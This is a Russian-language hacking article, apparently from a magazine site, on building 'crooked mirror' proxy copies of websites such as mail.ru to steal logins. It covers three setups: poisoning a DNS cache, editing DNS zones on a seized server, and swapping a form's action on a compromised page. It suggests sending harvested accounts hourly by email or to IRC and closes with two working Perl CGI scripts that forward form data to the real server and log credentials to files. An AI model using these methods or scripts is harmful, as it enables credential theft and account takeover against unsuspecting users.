Все знают, что такое зеркала. Нет, не те зеркала, в которых вы видите вечно
не выспавшуюся, немного под хмельком, рожу 😉 — Зеркала сайтов.
То есть, полная копия сайта, созданная для облегчения доступа и снижения нагрузки на основную машину.
Но, мы приспособим эту идею под свои нужды, пойдем дальше таких зеркал, то есть в Зазеркалье =).
Это те же зеркала, только немного искривленные
(модифицированные).

Итак, рассмотрим, что это такое и зачем оно нужно. Я рассмотрю несколько случаев, когда могут понадобиться эти кривые зеркала.

Вариант первый. Вы успешно атаковали DNS кэш какого-либо сервера. И вместо всеми любимого mail.ru пользователям выдают наш левый
IP адрес. Далее, чтобы не расстраивать посетителей, мы делаем на нем полное зеркало mail.ru,
за небольшим исключением. В форме,
ответственной за проверку аккаунта подменяем form action на путь к нашему скрипту, задача которого сводиться к следующему, принять аккаунт, сделать http запрос по реальному IP адресу сервера на проверку полученного аккаунта. И, в зависимости от ответа, записать его в текстовой файл, далее выдать полученный ответ с подправленными ссылками.
Например :

http://mailbox.mail.ru/mail.cgi

меняем на

http://mail.ru/cgi-bin/mirror.pl?redir=http://mailbox.mail.ru/mail.cgi

Что делает mirror.pl, я думаю понятно. Просто соединяется
с реальным сервером, передает все что надо (cookies,
form_field etc.) и возвращает ответ от реального сервера с такими же подправленными на себя линками.
В итоге, после экспериментов и настройки скриптов,
мы имеем полное зеркало сайта, немного правда искривленное нужной нам функцией :).
Для особо ленивых могу посоветовать ежечасный сброс собранных аккаунтов на мыло или на популярный IRC канал ;). Единственное добавлю, что настройку и отладку такого вот кривого зеркала 
необходимо делать до подмены данных в DNS кэше,
иначе громкие вопли юзверев в суппорт в процессе подготовки зеркала сведут все результаты на нет =).

Вариант второй. Многие захватив сервер и не найдя с первого взгляда вкусных баз\инфы, забивают на него, при этом очень часто
забывают поглядеть в /var/named или c:\winnt\system32\dns.
В случае, если эта машина ответственна за какую-либо DNS зону, то намного целесообразнее найти в ней что-нибудь вкусное, типа radius.our.zone
или billing.our.zone 🙂 , и просто изменить IP адрес этого имени. Не забывая дать named-у сигнал перечитать конфигурационый файл
(не забывайте о записи serial, чтобы инфа о новом IP дошла и до вторичного
DNS сервера тоже ;)). Или в случае win32, после изменения текстовых файлов обычного юниксового формата, перезапустить сервис. Рекомендации по строительству кривого зеркала абсолютно такие
же как и в первом случае.

Вариант третий (самый распространенный). Часто
случается так, что получив контроль над машиной, понимаешь, что смотрел задницей и прозевал, что форма передает данные не на эту машину,
а на другую. Или получить доступ на главный WWW сервер оказалось делом плевым, а вот получить доступ к серверу, куда
отправляются данные для авторизации в короткие сроки не реально. В этой ситуации наиболее простым решением
является изменение поля action в форме, которая отправляет нужные данные, на путь к своему скрипту
(на этом же, или другом сервере). Он будет опрашивать реальный и возвращать результат, или перенаправлять на реальный, в зависимости от конкретного случая,
естественно с сохранением проходящей информации =). Также, тут можно включить фантазию, и добавить
пару полей в форму, или повесить сочный баннер призывающий якобы «попатчить» новую ошибку в системе, контроль над которой мы хотим получить =))).

Ниже идут примеры скриптов, но мне лень делать что-либо общее и универсальное, так как писать скрипты, особенно на перле, должен уметь каждый
программер, а вы уж и подавно =). Потому, что сегодня без
автоматизации жить трудно =).

——————————-
#!perl
use Socket;
use CGI param;

$text1=param(«text1»);
$text2=param(«text2»);
$text3=param(«text3»);

$remote=»xxx.xxx.xx.x»;$port=»80″;
if ($port =~ /\D/) { $port = getservbyname($port, ‘tcp’) };
$iaddr = inet_aton($remote);
$paddr = sockaddr_in($port, $iaddr);
$proto = getprotobyname(‘tcp’);
socket(SOCK, PF_INET, SOCK_STREAM, $proto) || die «socket()»;
connect(SOCK, $paddr);

$data=»text1=$text1&text2=$text2&text3=$text3″;

send SOCK,»POST /mail HTTP/1.1\n»,0;
send SOCK,»Content-Length: «.length($data).»\n»,0;
send SOCK,»Content-Type: application/x-www-form-urlencoded\n»,0;
send SOCK,»Connection: Keep-Alive\n\n»,0;
send SOCK,$data,0;
while(<SOCK>){$ret=»$ret».»$_»;}

open (FILE2 ,»>>_log.txt») || die «open() log $! $@»;
print FILE2 «—=$remote:$port=—\n$ret\n$data\n\n»;
close FILE2;
close(SOCK);
——————————-
#!perl
use CGI param;
$login=param(«login»);$pass=param(«pass»);
print «Location: https://xx.xx/check/check.php?login=$login&pass=$pass\n\n»;
open WR, «>>data.txt»;print WR "$login:$pass\n";close WR;
——————————-

P.S. Возможно эта статья покажется кому-то слишком простой и неинтересной, но
я просто хотел заострить внимание на том, как еще можно использовать машины в интернете, помимо
использования объемов их винтов, процессорных
ресурсов и каналов. А так же рассказать про возможности, которые многие упускают сосредоточившись непосредственно на цели атаки.

Оставить мнение

Check Also

Snek Fite. Как я сделал онлайновую игру для программистов

Ты, конечно, знаешь такую замечательную игру, как «Змейка». Так вот речь пойдет вовсе не о…